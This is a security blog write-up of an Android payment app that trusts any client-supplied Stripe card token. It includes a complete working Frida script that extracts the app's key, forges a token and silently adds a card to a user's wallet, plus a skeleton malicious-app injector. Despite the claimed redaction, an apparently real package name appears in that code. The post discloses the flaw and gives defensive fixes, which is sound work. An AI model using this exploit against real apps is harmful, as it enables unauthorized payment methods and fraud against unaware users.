Insecure Stripe Token Handling in Android leads to Arbitrary Card Injection

Introduction

During a mobile app engagement, I was going through the payment logic in a popular app using jadx-gui when something unusual caught my attention. A method named postCard(String tokenId) that appeared to accept any Stripe token and attach it to the authenticated user’s account.

The app was leaking its Stripe publishable key, and blindly trusted any card token passed to it regardless of where or how it was generated.

With this vulnerability, a malicious app on the same device, or even just a simple Frida script, could forge a Stripe token for any credit card and have it added to a legitimate user’s account without any interaction or consent.

This post goes into how the vulnerability works, how to exploit it end-to-end using Frida, and how developers can fix it using best practices aligned with OWASP MASVS and Stripe’s own security guidance.

Let’s go!

“To demonstrate the exploitation technique without exposing any client-sensitive infrastructure, identifiable package name and token values have been redacted or replaced with placeholders.”

Vulnerability Overview

At the core of this vulnerability is a fundamental misunderstanding of how Stripe tokens are meant to be validated and bound to user sessions.

In the target Android app, the class PaymentService exposes a method:

public final void postCard(String tokenId, final DataCallback<CreditCard> callback) {
    Intrinsics.checkNotNullParameter(tokenId, "tokenId");
    Intrinsics.checkNotNullParameter(callback, "callback");
    this.api.addCreditCard(new CreditCardRequest(tokenId)).enqueue(new AGRetrofitCallback(new DataCallback<CreditCard>() {
        @Override
        public void onSuccess(CreditCard data) {
            MutableLiveData mutableLiveData;
            mutableLiveData = PaymentService.this.addedCardResource;
            mutableLiveData.postValue(Resource.INSTANCE.success(data));
            callback.onSuccess(data);
        }

        @Override
        public void onError(DataError error) {
            callback.onError(error);
        }
    }));
}

This method blindly takes a tokenId which is a string that typically represents a payment token generated by Stripe and forwards it directly to the backend without performing any validation.

There are no checks on:

  • Whether the token was generated by this specific app instance
  • Whether it was tied to the currently authenticated user
  • Whether it was created by the official in-app Stripe SDK flow

In other words, if you can generate a valid Stripe token under the same account, you can inject any card into any user’s account.

How the App Leaks the Stripe Key

Now, to get the Stripe key, the app leaks its Stripe publishable key in two ways:

Static Resource The key is hardcoded in res/values/strings.xml, which can be extracted via jadx, apktool, or adb. The Publishable Stripe Key in strings.xml is not a vulnerability, it’s perfectly fine for the key to be publicly accessible.

Runtime Access The method SessionService.getStripeKey() return the key at runtime, making it accessible to Frida hooks or malicious apps via reflection or instrumentation.

Here’s the relevant decompiled code:

public final String getStripeKey(Context context) {
    Currency currency;
    Intrinsics.checkNotNullParameter(context, "context");
    Account value = getAccount().getValue();
    String code = (value == null || (currency = value.getCurrency()) == null) ? null : currency.getCode();
    if (Intrinsics.areEqual(code, "CAD")) {
        String string = context.getString(R.string.stripe_key_CAD);
        Intrinsics.checkNotNull(string);
        return string;
    }
    if (Intrinsics.areEqual(code, "USD")) {
        String string2 = context.getString(R.string.stripe_key_USD);
        Intrinsics.checkNotNull(string2);
        return string2;
    }
    String string3 = context.getString(R.string.stripe_key);
    Intrinsics.checkNotNull(string3);
    return string3;
}

This means any malicious code running on the same device can easily retrieve the Stripe key and impersonate the app when talking to Stripe’s API.

Broken Token Trust Model

Once a valid Stripe token is obtained (which requires only the publishable key), the attacker can call:

PaymentService.postCard(tokenId, callback);

This results in the backend accepting and binding that card to the victim’s account, even if the token was created:

  • On a different device
  • Outside the app (via cURL, Frida, or a rogue app)
  • By an attacker using fake card data (e.g., Stripe’s test numbers)

There’s no HMAC, no session binding, no anti-replay mechanism, and no origin validation.

This logic flaw means that any app or process on the user’s device can inject arbitrary cards into the wallet of an authenticated user without their awareness. An attacker could:

  • Link a fake or stolen credit card to another user’s wallet
  • Farm account rewards or loyalty points using fake purchases
  • Potentially set up fraudulent recurring billing (if the app supports subscriptions)

And worst of all—the user wouldn’t even be prompted.

Exploit

With the vulnerability scoped, the next step was to build a practical exploit to demonstrate the impact. Since we can grab its Stripe publishable key at runtime and didn’t validate incoming tokens, it was possible to inject arbitrary credit cards into a victim’s wallet using only Frida and a Stripe HTTP call without any user interaction.

Essentially, the exploit will follow these steps:

  1. Spawn the app and wait for initialization. Frida hooks into the running process and waits for the app’s main services to initialize.
  2. Launch the AddCard UI. This triggers the app’s dependency injection, bootstrapping PaymentService and SessionService.
  3. Extract the Stripe Publishable Key. Hook SessionService.getStripeKey(Context) to capture the key dynamically, or fall back to extracting it from the app’s resources using getResources().getIdentifier().
  4. Forge a Stripe Token. Use the publishable key to call https://api.stripe.com/v1/tokens with dummy test card data (e.g., 4242 4242 4242 4242) using an OkHttpClient instance injected via Java reflection.
  5. Inject the Token. Locate the PaymentService singleton in memory and invoke postCard(tokenId, DataCallback) directly using Frida’s Java.choose() and a custom DataCallback.

Here’s a the actual Frida script used in the test:

Java.perform(function () {

    const B64 = s => Java.use('android.util.Base64')
        .encodeToString(Java.use('java.lang.String').$new(s).getBytes(), 2);

    const OkHttpClient = Java.use('okhttp3.OkHttpClient').$new();
    let publishableKey = null;

    Java.use('com.REDACTED.SessionService')
        .getStripeKey.overload('android.content.Context')
        .implementation = function (ctx) {
            publishableKey = this.getStripeKey(ctx);
            console.warn('[Stripe-PK] ' + publishableKey);
            return publishableKey;
        };

    function mainLoop() {
        const App = Java.use('android.app.ActivityThread').currentApplication();
        if (App == null) {
            setTimeout(mainLoop, 600);
            return;
        }
        const ctx = App.getApplicationContext();

        const Intent = Java.use('android.content.Intent').$new();
        Intent.setClassName(ctx,
            'com.REDACTED.AddCreditCardActivity');
        Intent.setFlags(0x10000000);
        ctx.startActivity(Intent);

        waitForKey(ctx, function () {
            const token = makeToken(publishableKey);
            console.log('[+] token = ' + token);
            injectCard(token);
        });
    }

    function waitForKey(ctx, cb) {
        if (publishableKey) { cb(); return; }

        const resId = ctx.getResources()
                         .getIdentifier('stripe_publishable_key',
                                        'string', ctx.getPackageName());
        if (resId !== 0) publishableKey = ctx.getString(resId);

        if (publishableKey) { console.warn('[Stripe-PK/fallback] ' + publishableKey); cb(); }
        else setTimeout(() => waitForKey(ctx, cb), 800);
    }

    function makeToken(pk) {
        const Body = Java.use('okhttp3.FormBody$Builder').$new()
            .add('card[number]','4242424242424242')
            .add('card[exp_month]','12')
            .add('card[exp_year]', '2030')
            .add('card[cvc]',      '123')
            .build();

        const Req = Java.use('okhttp3.Request$Builder').$new()
            .url('https://api.stripe.com/v1/tokens')
            .post(Body)
            .addHeader('Authorization', 'Basic ' + B64(pk + ':'))
            .build();

        const resp = OkHttpClient.newCall(Req).execute();
        return JSON.parse(resp.body().string()).id;
    }

    function injectCard(tokenId) {
        Java.choose('com.REDACTED.PaymentService', {
            onMatch: svc => {
                console.log('[*] PaymentService  ' + svc);
                const Callback = Java.registerClass({
                    name: 'x.CardCallback',
                    implements: [Java.use('com.REDACTED.DataCallback')],
                    methods: {
                        onSuccess: _ => console.log('Card added (SUCCESS)'),
                        onError:   e => console.log('postCard ERROR  ' + e)
                    }
                });
                svc.postCard(tokenId, Callback.$new());
            },
            onComplete: () => console.log('[*] Finished  check wallet UI.')
        });
    }

    mainLoop();
});

Now it’s just a matter of running it

frida -U -f com.REDACTED -l poc.js

Once executed, here’s what happens:

  1. The app is spawned and initialized. The AddCreditCardActivity is triggered in the background (no UI popup).
  2. The app’s Stripe publishable key is extracted either via runtime hook or fallback resource lookup.
  3. A fake credit card token is created using Stripe’s public /v1/tokens API and dummy test card info (4242 4242 4242 4242).
  4. The forged token is injected into the user’s account using PaymentService.postCard().
  5. A new card shows up in the victim’s wallet.

No dialogs, no prompts, no authentication, no biometrics. Just a new payment method silently appearing under the victim wallet.

Malicious App

While Frida makes for a great PoC tool during security testing, what really demonstrate the impact of this vulnerability is that you don’t need Frida at all. Any rogue app running on the same device can exploit this flaw using only standard Android APIs and a bit of Java.

Why It Works Without Frida

  • The app stores the Stripe publishable key in res/values/strings.xml making it globally readable.
  • The vulnerable method PaymentService.postCard(tokenId) accepts any valid token, regardless of origin.
  • There’s no app-bound authentication, origin check, or token signature verification.
  • Activities like AddCreditCardActivity are exported, enabling inter-app abuse via Intent.

This means a malicious app installed on the same device can:

  • Read the publishable key
  • Use it to call Stripe’s API and generate a token
  • Invoke the target app’s exported activity
  • Inject the token into the authenticated user’s account

All without requiring root, Frida, or user interaction!

public class CardInjector extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String stripeKey = extractStripeKey(context); // Read from strings.xml
        String tokenId = getStripeToken(stripeKey);   // Call Stripe API

        Intent i = new Intent();
        i.setClassName("com.REDACTED",
                       "com.REDACTED.AddCreditCardActivity");
        i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        context.startActivity(i);

        // Optionally, use IPC to invoke postCard() via exposed service
        // Or trigger token injection via side-channel within app lifecycle
    }

    private String extractStripeKey(Context context) {
        int id = context.getResources()
                        .getIdentifier("stripe_publishable_key", "string",
                                        "com.addenergie.circuitelectrique");
        return context.getString(id);
    }

    private String getStripeToken(String key) {
        // Make a direct HTTPS call to https://api.stripe.com/v1/tokens
        // using standard HttpURLConnection or OkHttp with:
        // card[number]=4242... etc.
        // Return token_id from JSON
        return "TOKEN_VALUE";
    }
}

After this malicious app runs, the victim opens their wallet and sees a new payment method they never added. And because the token was legitimate (created via Stripe’s own API), the backend trusts it without question.

This attack can be fully automated, triggered in the background, and even obfuscated to run on boot or via scheduled jobs.

Recommendations

This vulnerability highlights a failure to properly validate and bind third-party tokens within a mobile payment flow. To mitigate this and prevent similar abuse, the following remediations should be implemented across both mobile and backend components:

  • Remove Hardcoded Stripe Keys (Now this is debatable, the publishable key is meant to be access publicly)
  • Never store publishable keys in static resources like strings.xml, assets, or shared preferences. Instead, fetch them securely from your backend after user authentication, tied to session/token-based access control.
  • On Android, if local caching is required, store them using EncryptedSharedPreferences.

Enforce Token Validation on the Backend

Your backend must not trust client-supplied Stripe tokens blindly. Implement the following checks:

  • Token provenance = Validate token was created using your app’s session (e.g., include session/user ID in metadata).
  • Single-use enforcement = Ensure each token can only be used once (anti-replay).
  • Origin binding = Reject tokens not generated from your frontend SDK or associated IP/user agent.
  • HMAC/Signature check = Consider appending a signed HMAC to client tokens using a backend-shared secret.

Stripe supports metadata fields, use them to inject app-validated session context or nonce into the token creation step and check it server-side.

Session & Token Binding

  • Introduce a nonce or CSRF token generated by your backend and tied to the user session.
  • Require that all card token submissions be accompanied by this nonce.
  • Reject any token that lacks a valid nonce or mismatches session context.

Harden Inter-App Communication

Mark all sensitive activities (AddCreditCardActivity`, etc.) as:

android:exported="false"

Unless absolutely necessary. If exporting is required, enforce strict Intent validation using:

  • Custom permissions (android:permission)
  • Digital signature verification (if sharing within your own app suite)

Instrument Abuse Detection & Logging

  • Log unexpected or anomalous token submissions (e.g., duplicate tokens, mismatched session data).
  • Track usage patterns of Stripe tokens and flag discrepancies.
  • Add telemetry around credit card addition flows that bypass expected UI interaction.

Conclusion

This vulnerability is a good example of how misunderstanding trust boundaries in third-party SDKs like Stripe can lead to high-impact security flaws. By failing to validate the origin, authenticity, and session binding of payment tokens, the application allowed arbitrary credit card injection into any authenticated user account with zero user interaction.

Whether exploited via Frida or a malicious app, the result is the same: unauthorized payment methods silently added to a user’s wallet, leading to potential fraud, compliance violations, and loss of user trust.

Let’s keep this in mind… :

  • Stripe publishable keys are not secrets, but they must still be treated with care. Exposing them at runtime or in static resources enables unauthorized token creation.
  • Token validation should always happen server-side, with explicit binding to the authenticated session, origin, and user context.
  • Assuming the client is trusted is a critical flaw. Any sensitive operation (like adding a payment method) must include validation steps that the mobile app itself cannot forge.

In mobile app security, any assumption that “the app will only be used as intended” is dangerous. If the logic lives on the client and the backend doesn’t enforce the rules, attackers will write their own rules…

Validate everything. Trust nothing. Bind everything.